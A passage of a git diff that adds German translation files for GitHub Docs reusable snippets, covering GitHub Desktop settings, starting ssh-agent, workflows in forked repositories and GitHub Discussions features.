+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061390"
+---
+1. Wähle unter „Für dieses Repository möchte ich“ **Eine lokale Git-Konfiguration verwenden** aus. ![Feld „Primäres Remoterepository“](/assets/images/help/desktop/use-local-git-config.png)
diff --git a/translations/de-DE/data/reusables/desktop/windows-choose-options.md b/translations/de-DE/data/reusables/desktop/windows-choose-options.md
new file mode 100644
index 0000000000..451eb92888
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows-choose-options.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3be61f80d481141da3aceffc5f478ee958f4d4a0
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133174"
+---
+1. Wähle das Menü **Datei** aus, und klicke dann auf **Optionen**.
+  ![Der Wert „Optionen“ im Dropdownmenü „Einstellungen“](/assets/images/help/desktop/windows-choose-options.png)
diff --git a/translations/de-DE/data/reusables/desktop/windows-repository-settings-menu.md b/translations/de-DE/data/reusables/desktop/windows-repository-settings-menu.md
new file mode 100644
index 0000000000..d0eb366d38
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows-repository-settings-menu.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 0a958e6843f56817eec6334882903625cea53a0c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146061387"
+---
+1. Klicke im Menü **Repository** auf **Repositoryeinstellungen...** . ![Menüoption „Repositoryeinstellungen“](/assets/images/help/desktop/repository-settings-win.png)
diff --git a/translations/de-DE/data/reusables/desktop/windows-select-accounts.md b/translations/de-DE/data/reusables/desktop/windows-select-accounts.md
new file mode 100644
index 0000000000..aa8df8f61c
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows-select-accounts.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b9524467fb027bd8b3c8445d50a9f587c473c44f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133153"
+---
+1. Wähle im Fenster „Optionen“ die Option **Konten** aus.
+  ![Der Bereich „Konten“ im Fenster „Optionen“](/assets/images/help/desktop/windows-select-accounts-pane.png)
diff --git a/translations/de-DE/data/reusables/desktop/windows_git_bash.md b/translations/de-DE/data/reusables/desktop/windows_git_bash.md
new file mode 100644
index 0000000000..13cfa37698
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows_git_bash.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 87c18be4093f5d6e2ec429f1d8b311666422236e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133150"
+---
+Wenn du [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) installiert hast, kannst du dies verwenden, um Repositorys zu klonen und nicht mit SSH-Schlüsseln arbeiten zu müssen.
diff --git a/translations/de-DE/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md b/translations/de-DE/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md
new file mode 100644
index 0000000000..52aa0a75a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 428cbf55b065c4350f8d97dcde0ab4c598fb4409
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885220"
+---
+**Wenn du Git Bash verwendest**, aktiviere ssh-agent:
+```shell
+# start the ssh-agent in the background
+$ eval "$(ssh-agent -s)"
+> Agent pid 59566
+```
diff --git a/translations/de-DE/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md b/translations/de-DE/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md
new file mode 100644
index 0000000000..eb16202f34
--- /dev/null
+++ b/translations/de-DE/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 2d27e8b498ed47b4fc5147c66d7923dd71903132
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883820"
+---
+**Wenn du eine andere Terminaleingabeaufforderung verwendest**, z. B. [Git für Windows](https://git-for-windows.github.io/), aktiviere ssh-agent:
+```shell
+# start the ssh-agent in the background
+$ eval $(ssh-agent -s)
+> Agent pid 59566
+```
diff --git a/translations/de-DE/data/reusables/developer-site/limit_workflow_to_activity_types.md b/translations/de-DE/data/reusables/developer-site/limit_workflow_to_activity_types.md
new file mode 100644
index 0000000000..904a78a8cf
--- /dev/null
+++ b/translations/de-DE/data/reusables/developer-site/limit_workflow_to_activity_types.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c25a38ba82603ef1704906a69c337d6cb92b44c2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "146332040"
+---
+Standardmäßig lösen alle Aktivitätstypen Workflows aus, die auf diesem Ereignis ausgeführt werden. Mit Schlüsselwort `types` kannst du die Workflowausführungen auf bestimmte Aktivitätstypen begrenzen. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes).
diff --git a/translations/de-DE/data/reusables/developer-site/multiple_activity_types.md b/translations/de-DE/data/reusables/developer-site/multiple_activity_types.md
new file mode 100644
index 0000000000..df80f32767
--- /dev/null
+++ b/translations/de-DE/data/reusables/developer-site/multiple_activity_types.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f0ac118efa7f2075a08b74d7b620a59188fa24a5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133142"
+---
+Dieses Ereignis wird von mehreren Aktivitätstypen ausgelöst.
diff --git a/translations/de-DE/data/reusables/developer-site/pull_request_forked_repos_link.md b/translations/de-DE/data/reusables/developer-site/pull_request_forked_repos_link.md
new file mode 100644
index 0000000000..ea28431fc7
--- /dev/null
+++ b/translations/de-DE/data/reusables/developer-site/pull_request_forked_repos_link.md
@@ -0,0 +1,32 @@
+---
+ms.openlocfilehash: a314a101135f5b47bfd573b1be6d7867db4ac26d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886830"
+---
+#### Workflows in geforkten Repositorys
+
+Workflows werden standardmäßig nicht in geforkten Repositorys ausgeführt. Du musst GitHub Actions auf der Registerkarte **Aktionen** des geforkten Repositorys aktivieren.
+
+{% data reusables.actions.forked-secrets %} Das `GITHUB_TOKEN` verfügt in geforkten Repositorys über schreibgeschützte Berechtigungen. Weitere Informationen findest du unter [Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token) („Authentifizieren mit dem GITHUB_TOKEN“).
+
+#### Pull-Request-Ereignisse für geforkte Repositorys
+
+Für Pull Requests von einem geforkten Repository an das Basisrepository sendet {% data variables.product.product_name %} die Ereignisse `pull_request`, `issue_comment`, `pull_request_review_comment`, `pull_request_review` und `pull_request_target` an das Basisrepository. Im geforkten Repository treten keine Pull Request-Ereignisse ein.
+
+{% ifversion fpt or ghec %} Wenn ein Mitwirkender zum ersten Mal einen Pull Request an ein öffentliches Repository sendet, muss ein Verwalter mit Schreibzugriff möglicherweise die Ausführung von Workflows im Pull Request genehmigen. Weitere Informationen findest du unter [Genehmigen von Workflowausführungen aus öffentlichen Forks](/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks).
+{% endif %}
+
+{% note %}
+
+**Hinweis:** Workflows werden nicht für private Basisrepositorys ausgeführt, wenn du einen Pull Request aus einem geforkten Repository heraus öffnest.
+
+{% endnote %}
+
+{% note %}
+
+**Hinweis:** Workflows, die von {% data variables.product.prodname_dependabot %}-Pull Requests ausgelöst wurden, werden behandelt, als wenn sie aus einem geforkten Repository stammen, sodass auch für sie diese Einschränkungen gelten.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/discussions/about-announcement-format.md b/translations/de-DE/data/reusables/discussions/about-announcement-format.md
new file mode 100644
index 0000000000..357ebe2e37
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/about-announcement-format.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 269563450ee5e2dbdd31e799b1b8eb0dba915f69
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881667"
+---
+Betreuer können Kategorien mit dem Ankündigungsformat verwenden, um Informationen, Releases oder Ereignisse freizugeben. Um Diskussionen in diesen Kategorien auf wichtige Updates zu konzentrieren, können nur Personen mit Wartungs- oder Administratorberechtigungen neue Diskussionen erstellen. Es kann aber jeder kommentieren und antworten.
diff --git a/translations/de-DE/data/reusables/discussions/about-categories-and-formats.md b/translations/de-DE/data/reusables/discussions/about-categories-and-formats.md
new file mode 100644
index 0000000000..99bef2d24f
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/about-categories-and-formats.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7ec4ca85d46512d5f8c6bd4344884e6fad7dcc6c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133137"
+---
+Alle Diskussionen müssen in einer Kategorie erstellt werden. Für Repositorydiskussionen legen Personen mit Betreuer- oder Administratorberechtigung für das Repository die Kategorien für Diskussionen im jeweiligen Repository fest. Für Organisationsdiskussionen legen Personen mit Betreuer- oder Administratorberechtigung für das Quellrepository die Kategorien für Diskussionen in der jeweiligen Organisation fest. Jede Kategorie verfügt über ein Format: offene Diskussion, Fragen und Antworten oder Ankündigung.
diff --git a/translations/de-DE/data/reusables/discussions/about-discussions.md b/translations/de-DE/data/reusables/discussions/about-discussions.md
new file mode 100644
index 0000000000..24d30bf505
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/about-discussions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eb8c617ae5430cb7a78d608e14ab8a62a3286b06
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133134"
+---
+{% data variables.product.prodname_discussions %} ist ein offenes Forum für Unterhaltungen zwischen Betreuern und der Community für ein Repository oder eine Organisation auf {% data variables.product.product_name %}.
diff --git a/translations/de-DE/data/reusables/discussions/about-organization-discussions.md b/translations/de-DE/data/reusables/discussions/about-organization-discussions.md
new file mode 100644
index 0000000000..f92a453789
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/about-organization-discussions.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bbc607de914bb87c81b24eaf777033bd1419edd1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147409587"
+---
+Wenn du Organisationsdiskussionen aktivierst, legst du ein Repository in der Organisation als Quellrepository für deine Organisationsdiskussionen fest. Du kannst ein vorhandenes Repository verwenden oder ein neues speziell für Organisationsdiskussionen erstellen. Diskussionen werden sowohl auf der Diskussionsseite für die Organisation als auch auf der Diskussionsseite für das Quellrepository angezeigt.
+
+Die Berechtigung zum Teilnehmen an oder Verwalten von Diskussionen in deiner Organisation basiert auf der Berechtigung im Quellrepository. Benutzer*innen benötigen beispielsweise Schreibberechtigungen für das Quellrepository, um eine Organisationsdiskussion löschen zu können. Dies entspricht der Anforderung, dass Benutzer*innen Schreibberechtigungen in einem Repository benötigen, um eine Repositorydiskussion löschen zu können.
+
+Du kannst das Quellrepository jederzeit ändern. Wenn du es änderst, werden Diskussionen nicht in das neue Quellrepository übertragen.
diff --git a/translations/de-DE/data/reusables/discussions/click-discussion-in-list.md b/translations/de-DE/data/reusables/discussions/click-discussion-in-list.md
new file mode 100644
index 0000000000..e8e12c5d65
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/click-discussion-in-list.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 36cbc59597cac677518522aac3f4a7de91e865c3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133110"
+---
+1. Klicke in der Liste der Diskussionen auf die Diskussion, die du anzeigen möchtest.
+  ![Diskussion in der Liste der Diskussionen für ein Repository](/assets/images/help/discussions/click-discussion-in-list.png)
diff --git a/translations/de-DE/data/reusables/discussions/discussions-tab.md b/translations/de-DE/data/reusables/discussions/discussions-tab.md
new file mode 100644
index 0000000000..dee4b2af56
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/discussions-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3131c6c1661cf52a9e3275568e8db0812d976942
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133109"
+---
+1. Klicke unter deinem Repository- oder Organisationsnamen auf {% octicon "comment-discussion" aria-label="The discussion icon" %} **Diskussionen**.
+  ![Registerkarte „Diskussionen“ für ein Repository](/assets/images/help/discussions/repository-discussions-tab.png)
diff --git a/translations/de-DE/data/reusables/discussions/edit-categories.md b/translations/de-DE/data/reusables/discussions/edit-categories.md
new file mode 100644
index 0000000000..aba2054060
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/edit-categories.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 38dda80b974eef458800345e7a472e97724a9dd6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133106"
+---
+1. Klicke rechts neben „Kategorien“ auf {% octicon "pencil" aria-label="The pencil icon" %}.
+  ![Bleistiftsymbol zum Bearbeiten von Kategorien](/assets/images/help/discussions/click-edit-categories.png)
diff --git a/translations/de-DE/data/reusables/discussions/edit-category-details.md b/translations/de-DE/data/reusables/discussions/edit-category-details.md
new file mode 100644
index 0000000000..0d1aeeac4b
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/edit-category-details.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d8062478765beb4c11f8f3ed7453b9b3bc01d7f2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133105"
+---
+Bearbeite das Emoji, den Titel, die Beschreibung und das Diskussionsformat für die Kategorie. Weitere Informationen zu Diskussionsformaten findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions).
diff --git a/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md b/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md
new file mode 100644
index 0000000000..e80cf9e28e
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md
@@ -0,0 +1,8 @@
+1. On {% data variables.location.product_location %}, navigate to the main page of your organization.
+1. Under your organization name, click {% octicon "gear" aria-label="The gear icon" %}
+**Settings**.
+![Organization settings button](/assets/images/help/discussions/org-settings.png)
+1. Under "Discussions", select **Enable discussions for this organization**.
+1. Select a repository to use as the source repository for your organization discussions.
+  ![Settings to enable discussions for an organization](/assets/images/help/discussions/enable-org-discussions.png)
+1. Click **Save**.
diff --git a/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md b/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md
new file mode 100644
index 0000000000..b416cf9071
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-repository.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 938d7ee6c250313831a88597894ea9b8993c64c9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133101"
+---
+Du kannst {% data variables.product.prodname_discussions %} für ein Repository aktivieren oder deaktivieren.
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Klicke unter dem Repositorynamen auf {% octicon "gear" aria-label="The gear icon" %} **Einstellungen**.
+![Schaltfläche „Repositoryeinstellungen“](/assets/images/help/discussions/public-repo-settings.png)
+1. Wähle unter „Features“ die Option **Diskussionen** aus.
+    ![Kontrollkästchen unter „Features“ zum Aktivieren oder Deaktivieren von {% data variables.product.prodname_discussions %} für ein Repository](/assets/images/help/discussions/select-discussions-checkbox.png)
diff --git a/translations/de-DE/data/reusables/discussions/github-recognizes-members.md b/translations/de-DE/data/reusables/discussions/github-recognizes-members.md
new file mode 100644
index 0000000000..1ca9d06e26
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/github-recognizes-members.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bd771d25013935017894911eb2b76a698168f699
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133098"
+---
+{% data variables.product.prodname_dotcom %} erkennt automatisch Communitymitglieder, die die meisten als Antworten markierten Kommentare zu Diskussionen mit einem Frage-/Antwortformat beitragen.
diff --git a/translations/de-DE/data/reusables/discussions/marking-a-comment-as-an-answer.md b/translations/de-DE/data/reusables/discussions/marking-a-comment-as-an-answer.md
new file mode 100644
index 0000000000..ed4b3cdbab
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/marking-a-comment-as-an-answer.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 42db13f770c5fb0dfca31614f9481ca713718dd2
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879244"
+---
+In der Diskussion kannst du einen Kommentar als Antwort auf die Diskussion markieren, wenn eine Diskussion in eine Kategorie fällt, die Antworten zulässt. Weitere Informationen findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions).
+
+Wenn du eine Frage als Antwort markierst, wird {% data variables.product.product_name %} den Kommentar und die Antworten auf den Kommentar hervorheben, damit Besucher die Antwort schnell finden können.
+
+![Kommentar als Antwort auf eine Diskussion markiert](/assets/images/help/discussions/comment-marked-as-answer.png)
+
+Du kannst einen Threadkommentar als Antwort auf einen Kommentar nicht als Antwort auf eine Diskussion markieren. Du kannst auch keinen minimierten Kommentar als Antwort auf eine Diskussion markieren.
+
+{% data reusables.discussions.navigate-to-repo-or-org %} {% data reusables.discussions.discussions-tab %}
+1. Klicke in der Liste der Diskussionen auf die nicht beantwortete Diskussion, die du als beantwortet markieren möchtest.
+  ![Nicht beantwortete Diskussion](/assets/images/help/discussions/unanswered-discussion.png)
+1. Suche in der Diskussion den Kommentar, den du als Antwort markieren möchtest.
+1. Klicke in der oberen rechten Ecke des Kommentars auf {% octicon "check-circle" aria-label="The circular check icon" %}.
+  ![Zirkelprüfungssymbol „Als Antwort markieren“ zum Markieren eines Kommentars als Antwort in einer Diskussion](/assets/images/help/discussions/comment-mark-as-answer-button.png)
+1. Wenn du optional die Markierung eines Kommentars als Antwort aufheben möchtest, klicke auf {% octicon "check-circle-fill" aria-label="The filled circular check icon" %}.
diff --git a/translations/de-DE/data/reusables/discussions/navigate-to-repo-or-org.md b/translations/de-DE/data/reusables/discussions/navigate-to-repo-or-org.md
new file mode 100644
index 0000000000..17ca81827c
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/navigate-to-repo-or-org.md
@@ -0,0 +1 @@
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization.
diff --git a/translations/de-DE/data/reusables/discussions/repository-category-limit.md b/translations/de-DE/data/reusables/discussions/repository-category-limit.md
new file mode 100644
index 0000000000..1325a3f4c8
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/repository-category-limit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7b782aa3d23143a62b07aedf0a07df3734173d44
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145133077"
+---
+Jedes Repository oder jede Organisation kann bis zu 10 Kategorien aufweisen.
diff --git a/translations/de-DE/data/reusables/discussions/starting-a-discussion.md b/translations/de-DE/data/reusables/discussions/starting-a-discussion.md
new file mode 100644
index 0000000000..fb8a039155
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/starting-a-discussion.md
@@ -0,0 +1,10 @@
+1. On {% data variables.location.product_location %}, navigate to the main page of the repository or organization where you want to start a discussion.
+{% data reusables.discussions.discussions-tab %}
+1. Click **New discussion**.
+  !["New discussion" button within the "Discussions" tab for a repository](/assets/images/help/discussions/new-discussion-button.png)
+1. Select the **Select Category** drop-down menu, and click a category for your discussion.
+  !["Select Category" drop-down menu and list of available categories in a repository](/assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png)
+1. Type a title and body for your discussion.
+  ![Text fields for new discussion's title and body](/assets/images/help/discussions/new-discussion-title-and-body-fields.png)
+1. Click **Start discussion**.
+  !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png)
diff --git a/translations/de-DE/data/reusables/discussions/starting-a-poll.md b/translations/de-DE/data/reusables/discussions/starting-a-poll.md
new file mode 100644
index 0000000000..d0d0eb65f9
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/starting-a-poll.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 18f25527fe0ec2c1226e8184317189880a80b80d
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147650405"
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %}
+1. Klicke in der Liste der Kategorien auf **Umfragen**.
+  ![Screenshot: Kategorie „Umfrage“](/assets/images/help/discussions/poll-category.png)
+1. Klicke rechts auf **Umfrage starten**.
+  ![Screenshot: Schaltfläche „Umfrage starten“](/assets/images/help/discussions/start-poll-button.png)
+1. Gib einen Titel und optional einen Text für deine Umfrage ein.
+  ![Screenshot: Textfelder für Titel und Text](/assets/images/help/discussions/new-poll-title-and-body-fields.png)
+1. Gib eine Frage für deine Umfrage ein.
+  ![Screenshot: Textfelder für Fragen](/assets/images/help/discussions/new-poll-question.png)
+1. Gib mindestens zwei Optionen für deine Umfrage ein.
+  ![Screenshot: Textfelder für Optionen](/assets/images/help/discussions/new-poll-options.png)
+1. Optional kannst du auf **Option hinzufügen** klicken, um weitere Umfrageoptionen hinzuzufügen.
+  ![Screenshot: Schaltfläche „Option hinzufügen“](/assets/images/help/discussions/new-poll-add-option.png)
+1. Klicke auf **Umfrage starten**.
+  ![Screenshot: Schaltfläche „Umfrage starten“](/assets/images/help/discussions/new-poll-start-poll-button.png)
diff --git a/translations/de-DE/data/reusables/discussions/you-can-categorize-discussions.md b/translations/de-DE/data/reusables/discussions/you-can-categorize-discussions.md
new file mode 100644
index 0000000000..10cf38ed67
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/you-can-categorize-discussions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9b90983cc0578711ea7c55d659a291658ed297c2
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884566"
+---
+Du kannst Diskussionen kategorisieren, um Communitymitgliedern dabei zu helfen, Unterhaltungen an der richtigen Stelle zu beginnen, und um Communitymitglieder bei der Suche nach verwandten Diskussionen zu unterstützen.
diff --git a/translations/de-DE/data/reusables/discussions/you-can-convert-an-issue.md b/translations/de-DE/data/reusables/discussions/you-can-convert-an-issue.md
new file mode 100644
index 0000000000..b93ffddf2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/you-can-convert-an-issue.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a55ceeead1f6d8f328960a28d41139cb0d5a5c0c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881844"
+---
+Wenn sich ein Issue als Frage oder offene Unterhaltung herausstellt und kein Arbeitselement ist, das verfolgt und priorisiert werden soll, kannst du das Issue in eine Diskussion konvertieren.
diff --git a/translations/de-DE/data/reusables/discussions/you-can-label-discussions.md b/translations/de-DE/data/reusables/discussions/you-can-label-discussions.md
new file mode 100644
index 0000000000..9c4e9d78b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/you-can-label-discussions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7978d7c2964429d45815d591f7163b31609e05b2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108983"
+---
+Um Diskussionen genauer zu organisieren, kannst du Bezeichnungen anwenden. Du kannst z. B. Bezeichnungen verwenden, um den Status einer Diskussion anzugeben und die Selektierung effizienter zu gestalten. Jedes Repository verfügt über einen freigegebenen Satz von Bezeichnungen für Issues, Pull Requests und Diskussionen. Weitere Informationen findest du unter [Verwalten von Bezeichnungen](/github/managing-your-work-on-github/managing-labels).
diff --git a/translations/de-DE/data/reusables/discussions/you-can-use-discussions.md b/translations/de-DE/data/reusables/discussions/you-can-use-discussions.md
new file mode 100644
index 0000000000..d8e8c886bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/discussions/you-can-use-discussions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 89fe7adc4996d50516e89b1963ed22318ca0cc67
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108979"
+---
+Du kannst {% data variables.product.prodname_discussions %} verwenden, um Fragen zu stellen und zu beantworten, Informationen freizugeben, Ankündigungen zu tätigen und an Unterhaltungen über ein Projekt teilzunehmen oder daran teilzunehmen. Weitere Informationen findest du unter [Informationen zu Diskussionen](/discussions/collaborating-with-your-community-using-discussions/about-discussions).
diff --git a/translations/de-DE/data/reusables/docs/you-can-read-docs-for-your-product.md b/translations/de-DE/data/reusables/docs/you-can-read-docs-for-your-product.md
new file mode 100644
index 0000000000..987955029a
--- /dev/null
+++ b/translations/de-DE/data/reusables/docs/you-can-read-docs-for-your-product.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 207df24dbed4278940cbe1bbca01c273900eeaee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108976"
+---
+Du kannst die Dokumentation zu den mit {% data variables.product.product_name %} verfügbaren Funktionen lesen. Weitere Informationen findest du unter [Informationen zu Versionen von {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs).
diff --git a/translations/de-DE/data/reusables/dotcom_billing/500-error.md b/translations/de-DE/data/reusables/dotcom_billing/500-error.md
new file mode 100644
index 0000000000..0bebc544bf
--- /dev/null
+++ b/translations/de-DE/data/reusables/dotcom_billing/500-error.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 87a504ce6d47b46f122c63f268a653177ee6f4d3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108975"
+---
+Wenn bei dem Versuch, ein Upgrade Deines Kontos auszuführen, ein 500-Fehler angezeigt wird, solltest Du:
+  - versuchen, den Cache Deines Browsers zu löschen und anschließend Deine Informationen erneut zu senden
+  - sicherstellen, dass Du die richtigen Zahlungsdaten eingegeben hast
+
